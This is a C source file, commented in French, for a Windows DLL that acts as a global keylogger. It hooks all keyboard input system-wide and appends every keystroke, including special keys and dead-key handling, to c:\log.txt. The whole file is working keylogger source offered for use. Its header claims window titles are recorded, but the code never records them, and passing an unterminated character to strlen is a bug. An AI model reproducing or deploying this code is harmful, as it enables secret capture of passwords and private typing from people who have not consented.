//==============================================================================
// Hook Clavier Global Avec Gestion Des DEAD KEYS
//------------------------------------------------------------------------------
// Ce programme intercepte toutes les touches du clavier sur lesquelles vous
// tapez, quelle que soit l'application.
// Un fichier texte est créé (c:\log.txt) dans lequel vous trouverez le début
// et la fin du hook, les touches appuyées et les titres des fenêtres
// correspondantes.
//------------------------------------------------------------------------------
// Pour les "experts" :
// Dans la fonction de hook, on utilise la fonction ToAscii. Cette fonction
// gère très mal les DEAD KEYS. Les DEAD KEYS sont les caractères qui doivent
// être combinés à un autre pour ne former qu'un ( ^ + e = ê ).
// Si on doit traiter une DEAD KEY, il est obligatoire d'utiliser une autre
// fonction. J'ai opté pour GetKeyNameText ( )
// Important également, le fichier texte n'est pas constamment ouvert. Il n'est
// ouvert que lorsqu'on veut y écrire un caractère puis on le referme. En effet,
// si notre programme n'est pas quitté correctement, il se peut qu'il y ait des
// problèmes pour réouvrir ce fichier. D'autant plus qu'on écrira pas assez vite
// pour mettre en défaut cette façon de faire.
//==============================================================================


//------------------------------------------------------------------------------
// INCLUDES
//------------------------------------------------------------------------------

    #include <windows.h>            // Header pour DevCpp

//------------------------------------------------------------------------------
// Constantes & Macros
//------------------------------------------------------------------------------

    // A ajouter devant une fonction pour l'exporter ou l'importer
    #define DLLEXPORT   __declspec (dllexport)
    #define DLLIMPORT   __declspec (dllimport)

//------------------------------------------------------------------------------
// Variables Globales De La DLL
//------------------------------------------------------------------------------

    HHOOK   HKEYBOARD;                      // Hook Clavier
    HINSTANCE HInst;                        // Handle d'intance de la DLL
    char    LastWindowText[256];            // Nom de la fenêtre actuelle
    char    FILENAME[] = "c:\\log.txt";     // Chemin du log

//------------------------------------------------------------------------------
// Ecriture à la fin d'un fichier texte
//------------------------------------------------------------------------------

DWORD myfprintf ( LPCVOID texte )
{
    HANDLE  logfic;                         // Handle du fichier
    DWORD   taille=0;                       // Nombre d'octets effectivement écrits
    
    // Ouverture et positionnement à la fin du fichier pour ajout
    logfic = CreateFile ( FILENAME, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_FLAG_SEQUENTIAL_SCAN, NULL );
    if ( logfic != INVALID_HANDLE_VALUE )
    {
        SetFilePointer ( logfic, 0, 0, FILE_END );
        WriteFile ( logfic, texte, strlen(texte), &taille, NULL );
        CloseHandle ( logfic );
    }
    return taille;
}

//------------------------------------------------------------------------------
// Retourne 0 si le caractère est un DEAD CHAR (accent circonflexe, trema, etc ...)
//------------------------------------------------------------------------------

BOOL is_dead_key ( int wparam )
{
    unsigned int code = MapVirtualKey ( wparam, 2 );

    // Windows 95 retourne 0x8000, NT retourne 0x80000000
    return (code & 0x80008000) ? TRUE : FALSE;
}

//------------------------------------------------------------------------------
// Fonctions executée lorsqu'on appuie sur une touche
//------------------------------------------------------------------------------
// lParam est composé de 32 bits (de 31 à 0) :
// touche appuyée   : bit 31 [FALSE] bit 30 [FALSE]
// touche maintenue : bit 31 [FALSE] bit 30 [TRUE]
// touche relachée  : bit 31 [TRUE]  bit 30 [TRUE]
// scancode         : bit 23 au bit 16 inclus
//------------------------------------------------------------------------------

LRESULT CALLBACK KeyboardProc ( int nCode,WPARAM wParam,LPARAM lParam )
{
    BYTE KeyState[256];                 // Etat des 256 touches du clavier
    static BOOL deadkey;                // Est-ce qu'on a traité une DEAD KEY
    WORD Char=0;                        // Buffer pour la traduction de la touche (ToAscii)
    char nomTouche[256];                // Buffer pour la traduction de la touche (GetKeyNameText)

    // On ne fait rien dans ce cas (cf aide API)
    if ( nCode < 0 || nCode == HC_NOREMOVE )
        return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );

    // Pour éviter les répétitions
    // Bit 30 : Spécifie l'état précédent de la touche (si TRUE, on passe notre chemin)
    if ( ((DWORD)lParam & 1<<30) != FALSE )
        return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
        
    // Si c'est une DEAD KEY, on passe notre chemin
    if ( is_dead_key ( (UINT) wParam ) )
    {
        deadkey = TRUE;
        myfprintf ( "[DK]" );
        return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
    }

    switch(wParam)
    {
    case VK_BACK    : myfprintf ( "[BKSP]" );   break;  // 0x08
    case VK_TAB     : myfprintf ( "[TAB]" );    break;  // 0x09
    case VK_RETURN  : myfprintf ( "[ENTER]\r\n" );break;  // 0x0D
    case VK_SHIFT   :                           break;  // 0x10
    case VK_CONTROL : myfprintf ( "[CTRL]" );   break;  // 0x11
    case VK_MENU    : myfprintf ( "[ALT]" );    break;  // 0x12
    case VK_PAUSE   : myfprintf ( "[PAUSE]" );  break;  // 0x13
    case VK_CAPITAL :                           break;  // 0x14
    case VK_ESCAPE  :                           break;  // 0x1B
    case VK_PRIOR   : myfprintf ( "[PGUP]" );   break;  // 0x21
    case VK_NEXT    : myfprintf ( "[PGDN]" );   break;  // 0x22
    case VK_END     : myfprintf ( "[END]" );    break;  // 0x23
    case VK_HOME    : myfprintf ( "[HOME]" );   break;  // 0x24
    case VK_LEFT    : myfprintf ( "[LEFT]" );   break;  // 0x25
    case VK_UP      : myfprintf ( "[UP]" );     break;  // 0x26
    case VK_RIGHT   : myfprintf ( "[RIGHT]" );  break;  // 0x27
    case VK_DOWN    : myfprintf ( "[DOWN]" );   break;  // 0x28
    case VK_SNAPSHOT: myfprintf ( "[SNAP]" );   break;  // 0x2C
    case VK_INSERT  :                           break;  // 0x2D
    case VK_DELETE  : myfprintf ( "[DEL]" );    break;  // 0x2E
    case VK_LWIN    : myfprintf ( "[LWIN]" );   break;  // 0x5B
    case VK_RWIN    : myfprintf ( "[RWIN]" );   break;  // 0x5C
    case VK_APPS    : myfprintf ( "[APPS]" );   break;  // 0x5D
    case VK_NUMPAD0 : myfprintf ( "[NUM0]" );   break;  // 0x60
    case VK_NUMPAD1 : myfprintf ( "[NUM1]" );   break;  // 0x61
    case VK_NUMPAD2 : myfprintf ( "[NUM2]" );   break;  // 0x62
    case VK_NUMPAD3 : myfprintf ( "[NUM3]" );   break;  // 0x63
    case VK_NUMPAD4 : myfprintf ( "[NUM4]" );   break;  // 0x64
    case VK_NUMPAD5 : myfprintf ( "[NUM5]" );   break;  // 0x65
    case VK_NUMPAD6 : myfprintf ( "[NUM6]" );   break;  // 0x66
    case VK_NUMPAD7 : myfprintf ( "[NUM7]" );   break;  // 0x67
    case VK_NUMPAD8 : myfprintf ( "[NUM8]" );   break;  // 0x68
    case VK_NUMPAD9 : myfprintf ( "[NUM9]" );   break;  // 0x69
    case VK_MULTIPLY: myfprintf ( "*" );        break;  // 0x6A
    case VK_ADD     : myfprintf ( "+" );        break;  // 0x6B
    case VK_SUBTRACT: myfprintf ( "-" );        break;  // 0x6D
    case VK_DECIMAL : myfprintf ( "." );        break;  // 0x6E
    case VK_DIVIDE  : myfprintf ( "/" );        break;  // 0x06
    case VK_F1      : myfprintf ( "[F1]" );     break;  // 0x70
    case VK_F2      : myfprintf ( "[F2]" );     break;  // 0x71
    case VK_F3      : myfprintf ( "[F3]" );     break;  // 0x72
    case VK_F4      : myfprintf ( "[F4]" );     break;  // 0x73
    case VK_F5      : myfprintf ( "[F5]" );     break;  // 0x74
    case VK_F6      : myfprintf ( "[F6]" );     break;  // 0x75
    case VK_F7      : myfprintf ( "[F7]" );     break;  // 0x76
    case VK_F8      : myfprintf ( "[F8]" );     break;  // 0x77
    case VK_F9      : myfprintf ( "[F9]" );     break;  // 0x78
    case VK_F10     : myfprintf ( "[F10]" );    break;  // 0x79
    case VK_F11     : myfprintf ( "[F11]" );    break;  // 0x7A
    case VK_F12     : myfprintf ( "[F12]" );    break;  // 0x7B
    case VK_F13     : myfprintf ( "[F13]" );    break;  // 0x7C
    case VK_F14     : myfprintf ( "[F14]" );    break;  // 0x7D
    case VK_F15     : myfprintf ( "[F15]" );    break;  // 0x7E
    case VK_F16     : myfprintf ( "[F16]" );    break;  // 0x7F
    case VK_F17     : myfprintf ( "[F17]" );    break;  // 0x80
    case VK_F18     : myfprintf ( "[F18]" );    break;  // 0x81
    case VK_F19     : myfprintf ( "[F19]" );    break;  // 0x82
    case VK_F20     : myfprintf ( "[F20]" );    break;  // 0x83
    case VK_F21     : myfprintf ( "[F21]" );    break;  // 0x84
    case VK_F22     : myfprintf ( "[F22]" );    break;  // 0x85
    case VK_F23     : myfprintf ( "[F23]" );    break;  // 0x86
    case VK_F24     : myfprintf ( "[F24]" );    break;  // 0x87
    case VK_NUMLOCK :                           break;  // 0x90
    case VK_ATTN    :                           break;  // 0xF6
    default:
        // On réinitialise notre tableau
        memset ( KeyState, 0, sizeof(KeyState) );
        
        if ( GetKeyboardState ( KeyState ) )
        {
            // ce n'est pas une DEAD KEY, on peut utiliser ToAscii
            if ( !deadkey )
            {
                ToAscii ( (UINT) wParam, (UINT) ((lParam << 8 ) >> 24), KeyState, &Char, 0 );
                myfprintf ( &Char );
            }
            // sinon, on doit utiliser autre chose !
            else
            {
                GetKeyNameText ( lParam, nomTouche, 256 );
                myfprintf ( nomTouche );
                deadkey = FALSE;
            }
        }
        break;
    }

    return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
}


//------------------------------------------------------------------------------
// Fonction principale d'Initialisation De La DLL
//------------------------------------------------------------------------------
// hinst  : l'instance de notre programme
// raison : pourquoi notre DLL est utilisée
// reserv : non utilisé
// retourne vrai si l'opération s'est bien déroulé
//------------------------------------------------------------------------------


BOOL APIENTRY DllMain ( HINSTANCE hinst, DWORD raison, LPVOID reserv )
{
    if ( raison == DLL_PROCESS_ATTACH )
        HInst = hinst;
    return TRUE;
}


//------------------------------------------------------------------------------
// Initialisation Du Hook Clavier                             FONCTION EXPORTEE
//------------------------------------------------------------------------------


void DLLEXPORT InitHook ( void )
{
    HKEYBOARD = SetWindowsHookEx ( WH_KEYBOARD, (HOOKPROC)KeyboardProc, HInst, 0 );
}


//------------------------------------------------------------------------------
// Terminaison Des Hooks                                     FONCTION EXPORTEE
//------------------------------------------------------------------------------


void DLLEXPORT EndHook ( void )
{
    UnhookWindowsHookEx ( HKEYBOARD );
}


//==============================================================================
// EOF
//==============================================================================